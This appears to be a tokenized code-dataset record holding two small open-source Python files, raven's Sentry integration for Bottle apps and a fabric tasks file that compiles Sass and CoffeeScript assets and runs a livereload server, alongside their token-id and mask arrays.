32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
mbernasocchi/inasafe
safe_extras/raven/contrib/bottle/__init__.py
7
2761
""" raven.contrib.bottle ~~~~~~~~~~~~~~~~~~~ :copyright: (c) 2013 by the Sentry Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ from __future__ import absolute_import import sys from bottle import request from raven.conf import setup_logging from raven.contrib.bottle.utils import get_data_from_request from raven.handlers.logging import SentryHandler class Sentry(object): """ Bottle application for Sentry. >>> sentry = Sentry(app, client) Automatically configure logging:: >>> sentry = Sentry(app, client, logging=True) Capture an exception:: >>> try: >>> 1 / 0 >>> except ZeroDivisionError: >>> sentry.captureException() Capture a message:: >>> sentry.captureMessage('hello, world!') """ def __init__(self, app, client, logging=False): self.app = app self.client = client self.logging = logging if self.logging: setup_logging(SentryHandler(self.client)) self.app.sentry = self def handle_exception(self, *args, **kwargs): self.client.captureException( exc_info=kwargs.get('exc_info'), data=get_data_from_request(request), extra={ 'app': self.app, }, ) def __call__(self, environ, start_response): def session_start_response(status, headers, exc_info=None): if exc_info is not None: self.handle_exception(exc_info=exc_info) return start_response(status, headers, exc_info) try: return self.app(environ, session_start_response) # catch ANY exception that goes through... except Exception: self.handle_exception(exc_info=sys.exc_info()) # re-raise the exception to let parent handlers deal with it raise def captureException(self, *args, **kwargs): assert self.client, 'captureException called before application configured' data = kwargs.get('data') if data is None: try: kwargs['data'] = get_data_from_request(request) except RuntimeError: # app is probably not configured yet pass return self.client.captureException(*args, **kwargs) def captureMessage(self, *args, **kwargs): assert self.client, 'captureMessage called before application configured' data = kwargs.get('data') if data is None: try: kwargs['data'] = get_data_from_request(request) except RuntimeError: # app is probably not configured yet pass return self.client.captureMessage(*args, **kwargs)
gpl-3.0
[ 624, 199, 345, 1856, 14, 2828, 14, 31245, 199, 9753, 23597, 199, 199, 26, 7307, 26, 334, 67, 9, 6171, 701, 314, 428, 2373, 11682, 12, 1937, 10610, 367, 1655, 2436, 14, 199, 26, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 646, 984, 199, 199, 504, 5888, 1118, 492, 1056, 199, 504, 660, 1856, 14, 2190, 492, 3272, 63, 4806, 199, 504, 660, 1856, 14, 2828, 14, 31245, 14, 1208, 492, 664, 63, 576, 63, 504, 63, 1069, 199, 504, 660, 1856, 14, 5586, 14, 4806, 492, 428, 2373, 2461, 421, 199, 533, 428, 2373, 8, 785, 304, 272, 408, 272, 24896, 1118, 4223, 367, 428, 2373, 14, 339, 1306, 26230, 275, 428, 2373, 8, 571, 12, 1890, 9, 339, 9195, 17174, 7908, 2050, 447, 339, 1306, 26230, 275, 428, 2373, 8, 571, 12, 1890, 12, 2050, 29, 549, 9, 339, 29828, 376, 1919, 447, 339, 1306, 862, 26, 272, 1306, 258, 413, 1182, 378, 272, 1306, 871, 25838, 26, 272, 1306, 258, 26230, 14, 12685, 1726, 342, 339, 29828, 282, 1245, 447, 339, 1306, 26230, 14, 12685, 2209, 360, 5006, 12, 6701, 10916, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1145, 12, 1890, 12, 2050, 29, 797, 304, 267, 291, 14, 571, 275, 1145, 267, 291, 14, 1258, 275, 1890, 267, 291, 14, 4806, 275, 2050, 267, 340, 291, 14, 4806, 26, 288, 3272, 63, 4806, 8, 51, 2373, 2461, 8, 277, 14, 1258, 430, 267, 291, 14, 571, 14, 3870, 275, 291, 339, 347, 2429, 63, 1971, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 1258, 14, 12685, 1726, 8, 288, 3178, 63, 815, 29, 958, 14, 362, 360, 2804, 63, 815, 659, 288, 666, 29, 362, 63, 576, 63, 504, 63, 1069, 8, 1069, 395, 288, 2402, 3126, 355, 283, 571, 356, 291, 14, 571, 12, 288, 1660, 267, 776, 339, 347, 636, 1250, 721, 277, 12, 6160, 12, 1343, 63, 1310, 304, 267, 347, 2351, 63, 928, 63, 1310, 8, 1205, 12, 2323, 12, 3178, 63, 815, 29, 403, 304, 288, 340, 3178, 63, 815, 365, 440, 488, 26, 355, 291, 14, 2479, 63, 1971, 8, 2804, 63, 815, 29, 2804, 63, 815, 9, 288, 372, 1343, 63, 1310, 8, 1205, 12, 2323, 12, 3178, 63, 815, 9, 398, 862, 26, 288, 372, 291, 14, 571, 8, 2314, 12, 2351, 63, 928, 63, 1310, 9, 267, 327, 8579, 1821, 1919, 626, 13538, 4012, 1396, 267, 871, 2186, 26, 288, 291, 14, 2479, 63, 1971, 8, 2804, 63, 815, 29, 1274, 14, 2804, 63, 815, 1012, 288, 327, 295, 13, 3730, 314, 1919, 370, 4691, 1676, 8297, 7962, 543, 652, 288, 746, 339, 347, 12296, 1726, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 702, 291, 14, 1258, 12, 283, 12685, 1726, 2797, 2544, 4223, 7526, 7, 267, 666, 275, 2074, 14, 362, 360, 576, 358, 267, 340, 666, 365, 488, 26, 288, 862, 26, 355, 2074, 459, 576, 418, 275, 664, 63, 576, 63, 504, 63, 1069, 8, 1069, 9, 288, 871, 6064, 26, 355, 327, 1145, 365, 8646, 440, 7526, 5966, 355, 986, 267, 372, 291, 14, 1258, 14, 12685, 1726, 2031, 589, 12, 1011, 958, 9, 339, 347, 12296, 2209, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 702, 291, 14, 1258, 12, 283, 12685, 2209, 2797, 2544, 4223, 7526, 7, 267, 666, 275, 2074, 14, 362, 360, 576, 358, 267, 340, 666, 365, 488, 26, 288, 862, 26, 355, 2074, 459, 576, 418, 275, 664, 63, 576, 63, 504, 63, 1069, 8, 1069, 9, 288, 871, 6064, 26, 355, 327, 1145, 365, 8646, 440, 7526, 5966, 355, 986, 267, 372, 291, 14, 1258, 14, 12685, 2209, 2031, 589, 12, 1011, 958, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 345, 1856, 14, 2828, 14, 31245, 199, 9753, 23597, 199, 199, 26, 7307, 26, 334, 67, 9, 6171, 701, 314, 428, 2373, 11682, 12, 1937, 10610, 367, 1655, 2436, 14, 199, 26, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 646, 984, 199, 199, 504, 5888, 1118, 492, 1056, 199, 504, 660, 1856, 14, 2190, 492, 3272, 63, 4806, 199, 504, 660, 1856, 14, 2828, 14, 31245, 14, 1208, 492, 664, 63, 576, 63, 504, 63, 1069, 199, 504, 660, 1856, 14, 5586, 14, 4806, 492, 428, 2373, 2461, 421, 199, 533, 428, 2373, 8, 785, 304, 272, 408, 272, 24896, 1118, 4223, 367, 428, 2373, 14, 339, 1306, 26230, 275, 428, 2373, 8, 571, 12, 1890, 9, 339, 9195, 17174, 7908, 2050, 447, 339, 1306, 26230, 275, 428, 2373, 8, 571, 12, 1890, 12, 2050, 29, 549, 9, 339, 29828, 376, 1919, 447, 339, 1306, 862, 26, 272, 1306, 258, 413, 1182, 378, 272, 1306, 871, 25838, 26, 272, 1306, 258, 26230, 14, 12685, 1726, 342, 339, 29828, 282, 1245, 447, 339, 1306, 26230, 14, 12685, 2209, 360, 5006, 12, 6701, 10916, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1145, 12, 1890, 12, 2050, 29, 797, 304, 267, 291, 14, 571, 275, 1145, 267, 291, 14, 1258, 275, 1890, 267, 291, 14, 4806, 275, 2050, 267, 340, 291, 14, 4806, 26, 288, 3272, 63, 4806, 8, 51, 2373, 2461, 8, 277, 14, 1258, 430, 267, 291, 14, 571, 14, 3870, 275, 291, 339, 347, 2429, 63, 1971, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 1258, 14, 12685, 1726, 8, 288, 3178, 63, 815, 29, 958, 14, 362, 360, 2804, 63, 815, 659, 288, 666, 29, 362, 63, 576, 63, 504, 63, 1069, 8, 1069, 395, 288, 2402, 3126, 355, 283, 571, 356, 291, 14, 571, 12, 288, 1660, 267, 776, 339, 347, 636, 1250, 721, 277, 12, 6160, 12, 1343, 63, 1310, 304, 267, 347, 2351, 63, 928, 63, 1310, 8, 1205, 12, 2323, 12, 3178, 63, 815, 29, 403, 304, 288, 340, 3178, 63, 815, 365, 440, 488, 26, 355, 291, 14, 2479, 63, 1971, 8, 2804, 63, 815, 29, 2804, 63, 815, 9, 288, 372, 1343, 63, 1310, 8, 1205, 12, 2323, 12, 3178, 63, 815, 9, 398, 862, 26, 288, 372, 291, 14, 571, 8, 2314, 12, 2351, 63, 928, 63, 1310, 9, 267, 327, 8579, 1821, 1919, 626, 13538, 4012, 1396, 267, 871, 2186, 26, 288, 291, 14, 2479, 63, 1971, 8, 2804, 63, 815, 29, 1274, 14, 2804, 63, 815, 1012, 288, 327, 295, 13, 3730, 314, 1919, 370, 4691, 1676, 8297, 7962, 543, 652, 288, 746, 339, 347, 12296, 1726, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 702, 291, 14, 1258, 12, 283, 12685, 1726, 2797, 2544, 4223, 7526, 7, 267, 666, 275, 2074, 14, 362, 360, 576, 358, 267, 340, 666, 365, 488, 26, 288, 862, 26, 355, 2074, 459, 576, 418, 275, 664, 63, 576, 63, 504, 63, 1069, 8, 1069, 9, 288, 871, 6064, 26, 355, 327, 1145, 365, 8646, 440, 7526, 5966, 355, 986, 267, 372, 291, 14, 1258, 14, 12685, 1726, 2031, 589, 12, 1011, 958, 9, 339, 347, 12296, 2209, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 702, 291, 14, 1258, 12, 283, 12685, 2209, 2797, 2544, 4223, 7526, 7, 267, 666, 275, 2074, 14, 362, 360, 576, 358, 267, 340, 666, 365, 488, 26, 288, 862, 26, 355, 2074, 459, 576, 418, 275, 664, 63, 576, 63, 504, 63, 1069, 8, 1069, 9, 288, 871, 6064, 26, 355, 327, 1145, 365, 8646, 440, 7526, 5966, 355, 986, 267, 372, 291, 14, 1258, 14, 12685, 2209, 2031, 589, 12, 1011, 958, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
GaretJax/s3ftp
fabtasks/assets.py
2
1208
import os from livereload import Server from fabric.api import task, local, env @task def watch_styles(): config = os.path.join(env.assets_dir, 'sass', 'config.rb') local('compass watch -c {}'.format(config)) @task def compile_styles(): config = os.path.join(env.assets_dir, 'sass', 'config.rb') local('compass compile -c {}'.format(config)) @task def watch_scripts(): output = os.path.join(env.static_dir, 'scripts', 'master.js') scripts = os.path.join(env.assets_dir, 'coffeescripts') local('coffee -c -w -j {} {}'.format(output, scripts)) @task def compile_scripts(): output = os.path.join(env.static_dir, 'scripts', 'master.js') scripts = os.path.join(env.assets_dir, 'coffeescripts') local('coffee -c -j {} {}'.format(output, scripts)) @task def livereload(): url = 'http://dev:35729/livereload.js' print ( 'To livereload your web pages add the following script tag to ' 'your HTML:' ) print '' print ' <script type="text/javascript" src="{}"></script>'.format(url) print '' server = Server() server.watch(env.static_dir) server.watch(env.templates_dir) server.serve(port=35729, host='0.0.0.0')
mit
[ 646, 747, 199, 504, 12166, 9233, 492, 7146, 199, 504, 2630, 14, 1246, 492, 2120, 12, 2257, 12, 2589, 421, 199, 32, 1765, 199, 318, 9626, 63, 12955, 837, 272, 1101, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 12186, 63, 694, 12, 283, 83, 405, 297, 283, 888, 14, 4848, 358, 272, 2257, 360, 863, 405, 9626, 446, 67, 9499, 908, 8, 888, 430, 421, 199, 32, 1765, 199, 318, 6555, 63, 12955, 837, 272, 1101, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 12186, 63, 694, 12, 283, 83, 405, 297, 283, 888, 14, 4848, 358, 272, 2257, 360, 863, 405, 6555, 446, 67, 9499, 908, 8, 888, 430, 421, 199, 32, 1765, 199, 318, 9626, 63, 6429, 837, 272, 1072, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 1986, 63, 694, 12, 283, 6429, 297, 283, 4133, 14, 3596, 358, 272, 10554, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 12186, 63, 694, 12, 283, 331, 2026, 397, 1669, 83, 358, 272, 2257, 360, 331, 24715, 446, 67, 446, 87, 446, 74, 1052, 9499, 908, 8, 1199, 12, 10554, 430, 421, 199, 32, 1765, 199, 318, 6555, 63, 6429, 837, 272, 1072, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 1986, 63, 694, 12, 283, 6429, 297, 283, 4133, 14, 3596, 358, 272, 10554, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 12186, 63, 694, 12, 283, 331, 2026, 397, 1669, 83, 358, 272, 2257, 360, 331, 24715, 446, 67, 446, 74, 1052, 9499, 908, 8, 1199, 12, 10554, 430, 421, 199, 32, 1765, 199, 318, 12166, 9233, 837, 272, 1166, 275, 283, 1014, 921, 2374, 26, 13155, 1398, 15, 6442, 9233, 14, 3596, 7, 272, 870, 334, 267, 283, 1378, 12166, 9233, 2195, 3330, 6497, 1050, 314, 2569, 2884, 1947, 370, 283, 267, 283, 12695, 4163, 4881, 272, 776, 272, 870, 2125, 272, 870, 283, 259, 665, 1579, 730, 628, 505, 15, 9554, 2, 2928, 32053, 10070, 1579, 22936, 908, 8, 633, 9, 272, 870, 2125, 272, 1654, 275, 7146, 342, 272, 1654, 14, 6821, 8, 1813, 14, 1986, 63, 694, 9, 272, 1654, 14, 6821, 8, 1813, 14, 5876, 63, 694, 9, 272, 1654, 14, 4909, 8, 719, 29, 13155, 1398, 12, 1591, 534, 16, 14, 16, 14, 16, 14, 16, 358, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
